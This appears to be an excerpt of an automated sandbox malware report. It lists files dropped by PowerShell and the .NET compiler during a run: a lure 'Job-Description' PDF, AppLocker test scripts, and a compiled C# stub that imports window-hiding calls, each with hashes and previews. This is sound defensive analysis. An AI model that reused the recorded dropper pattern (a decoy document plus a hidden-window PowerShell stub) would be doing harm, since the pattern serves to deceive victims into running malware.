                                                                                                                                          Preview:PSMODULECACHE......wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Get-Date........Clear-Variable........Get-EventSubscriber........Import-Csv........Get-Variable........New-Variable........Compare-Object........New-TemporaryFile........Convert-String........New-Alias........Export-Csv........Get-Event........Set-TraceSource........ConvertTo-Csv........ConvertFrom-Json........Get-PSCallStack........

                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:modified
                                                                                                                                          Size (bytes):64
                                                                                                                                          Entropy (8bit):1.0818136700495735
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Nlllulhl/lZ:NllUr
                                                                                                                                          MD5:C7BA672F8BBFA833BEE6694B7EF3EEC4
                                                                                                                                          SHA1:BFF2DAA1A79D9FE8C1477879E252204CABA435D0
                                                                                                                                          SHA-256:023E84352A8C0954C2B0CBB4474452A4BBE82049BBD929913ED58DFDE3E236CF
                                                                                                                                          SHA-512:8FF8113D29FB07CE755E5DF8A20C8E422BA39521F410B4B19E9F0FCCC14553F810492A41E8F87A547F7E98DCB997EFA7FC46D5B6A18A0C5E0FEED2ACA811FA62
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:@...e...............................X................@..........

                                                                                                                                          C:\Users\user\AppData\Local\Temp\Job-Description.pdf.pdf

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:PDF document, version 1.4, 1 pages
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):43659
                                                                                                                                          Entropy (8bit):6.84913393561157
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:768:dqQKocdkkfRsZUy4/md9J2BzDjih/2YeMnTw1QS5etyPm4due38J5Kq:dgoifRmUFmd9J29KGq5Kq
                                                                                                                                          MD5:196F60E599BE5C05BEC68166BBA38784
                                                                                                                                          SHA1:6A625DFE7A3CD6C19F81CC56DC7E573FF8FF6568
                                                                                                                                          SHA-256:D6BDDC66EFC2A8FD48720C6F5E5BAEB7A71C0347B52BF3985962FA69575208A1
                                                                                                                                          SHA-512:C756A866597043E0BA4DBACAD8C4243EAB9975EA3BE71C26473E074DBCE41F2128B2A5424494BD16B81994AA159F319594BF2DF2B0D67EB8F6052E2A19138D9B
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:%PDF-1.4.%.....1 0 obj.<<./Type /Catalog./Pages 2 0 R./MarkInfo <<./Type /MarkInfo./Marked true.>>./StructTreeRoot 3 0 R./ViewerPreferences <<./Type /ViewerPreferences./DisplayDocTitle true.>>./Lang (en-PH).>>.endobj.4 0 obj.<<./Title (Roles and Responsibilities Doc)./Creator (Canva)./Producer (Canva)./CreationDate (D:20240919155438+00'00')./ModDate (D:20240919155438+00'00')./Keywords (DAGRHFt3HW4,BAGQk_3Tj5Y)./Author (Madge Ryan).>>.endobj.2 0 obj.<<./Type /Pages./Count 1./Kids [5 0 R].>>.endobj.3 0 obj.<<./Type /StructTreeRoot./K 6 0 R./ParentTreeNextKey 1./ParentTree 7 0 R./IDTree 8 0 R.>>.endobj.5 0 obj.<<./Type /Page./Resources <<./ProcSet [/PDF /Text /ImageB /ImageC /ImageI]./ExtGState <<./G3 9 0 R./G6 10 0 R.>>./Font <<./F4 11 0 R./F5 12 0 R.>>.>>./MediaBox [0.0 0.0 841.92 1189.9199]./Contents 13 0 R./StructParents 0./Parent 2 0 R./Tabs /S./BleedBox [0.0 0.0 841.92 1189.9199]./TrimBox [0.0 0.0 841.92 1189.9199]./Annots [].>>.endobj.6 0 obj.<<./Type /StructElem./S /Document./Lang

                                                                                                                                          C:\Users\user\AppData\Local\Temp\RES1AAD.tmp

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                          File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Fri Nov 8 10:27:13 2024, 1st section name ".debug$S"
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):1336
                                                                                                                                          Entropy (8bit):4.001031257660998
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:24:HIm90Zml8NuVhAHGwK1mNII+ycuZhNKakSSPNnqSSd:SYWgVCFK1mu1ulKa3+qSC
                                                                                                                                          MD5:D6417563517951A9B21CAB0648A3FC4A
                                                                                                                                          SHA1:B861620B4AA76BB04A84E1B8D5F1841A9761C289
                                                                                                                                          SHA-256:B0A18AF49C8CD9D34CABA807EFC4690A2691218608B6CAA72E8489B1711AA810
                                                                                                                                          SHA-512:660F91BCF4DA7336C01A619234706CE7B1654F331B2EB1E726CBBE06936B633BB4361521C22A8E99B0F21A95FDF524AA67B50AA537CDF86B5C01DC0DD6E046AC
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:L.....-g.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP....................R.Z.X..{d.S.............5.......C:\Users\user\AppData\Local\Temp\RES1AAD.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.b.p.c.4.w.l.1...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pcyxhnu.cnr.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3gdppcbd.ri5.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4exzsn2o.aml.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a4i3i0az.ijy.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bhvlhavd.qs2.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eg5qvfak.lr5.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjtk5gs0.cef.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kq0szg45.ds4.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rudew40h.owy.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_srmyscfp.v3i.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfyvmiqc.z20.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xotl5fyl.j5m.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zfigybry.csx.ps1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zw55wb3i.e5a.psm1

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                          File Type:MSVC .res
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):652
                                                                                                                                          Entropy (8bit):3.1060136224581427
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry9DOak7Ynqq8DPPN5Dlq5J:+RI+ycuZhNKakSSPNnqX
                                                                                                                                          MD5:AA8B52AC5A1058FDD67B641A530DCDF9
                                                                                                                                          SHA1:A1DCAE5D605D4E9D8897BCF421DE7F04A5BF9767
                                                                                                                                          SHA-256:0C7DB6617CD7499C151EB6FB39441BCCE985EFD27095DEE34D35443AD0F89D2C
                                                                                                                                          SHA-512:938440A353C03B0A58189FE2135E1191CAE69E695E6AB4EB8FB0C4619F308BD08C8C8D6643EA0F4A4105A3C30DE24B384E99074942047739A15DD56DC70705C0
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.b.p.c.4.w.l.1...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...y.b.p.c.4.w.l.1...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                                          C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.0.cs

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:Unicode text, UTF-8 (with BOM) text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):244
                                                                                                                                          Entropy (8bit):4.952945910145069
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
                                                                                                                                          MD5:6E7BC02C23E28738F9898185137720DB
                                                                                                                                          SHA1:F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
                                                                                                                                          SHA-256:80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
                                                                                                                                          SHA-512:FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

                                                                                                                                          C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):371
                                                                                                                                          Entropy (8bit):5.263611596389081
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fm45cHaqzxs7+AEszICN23fm45cHaP:p37Lvkmb6KmH52aqWZE7H52aP
                                                                                                                                          MD5:0C93D15BD51BB9D15F53B021632AD15F
                                                                                                                                          SHA1:FEFC0533C881FF0E47A8E8EBFEC4E4CEE5F0542C
                                                                                                                                          SHA-256:397D82DAED5686B454BA17D8CB1972C6978B7809E7261AEB35D0648097C17E8A
                                                                                                                                          SHA-512:D3B7E58C7ADB1B0684E2EFA0B21DB46C855E12312A2F5067E34CC5DF39BA7F324D2ACF34717B5179BA58E1F1D4D5064D1317BE172F4B307DBF90AF2073977827
                                                                                                                                          Malicious:true
                                                                                                                                          Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.0.cs"

                                                                                                                                          C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.dll

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                          File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):3072
                                                                                                                                          Entropy (8bit):2.791527703693535
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:24:etGSqJ2JJi8R86QMBTSetkZfuZtmc3+WI+ycuZhNKakSSPNnqI:6pNR9ZSRJuP3l1ulKa3+qI
                                                                                                                                          MD5:E629586C924000EB37BEEF1786A1E77D
                                                                                                                                          SHA1:2C85D4B5C3DAFEDA5DE840647810E04C8B25B5E5
                                                                                                                                          SHA-256:E7B13A619BE81123ACB2137642A048DB6595903243BE9747F9E6D581805CE35E
                                                                                                                                          SHA-512:77D6123A93CC0EB05BB0A2300AFA5008812F53B1499F1224D5F501506159F3234DE58FD7679731466BA1A8A0AD4443A34CF131C166C129A8AFEA98286D73FEE5
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....-g...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

                                                                                                                                          C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.out

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
                                                                                                                                          Category:modified
                                                                                                                                          Size (bytes):872
                                                                                                                                          Entropy (8bit):5.326889129475087
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:24:KSId3ka6KmZPE7ZiKax5DqBVKVrdFAMBJTH:dkka6PBE74K2DcVKdBJj
                                                                                                                                          MD5:D8C7A703CCA2DDFFC4B7CA9EB82257D4
                                                                                                                                          SHA1:DC267B11DD346138824177E3FDC323847CC4FE24
                                                                                                                                          SHA-256:EFC34BE3B04B27044058D6DEDC0B33B3DFD05768CBB48601EAA9AEA02625E0FE
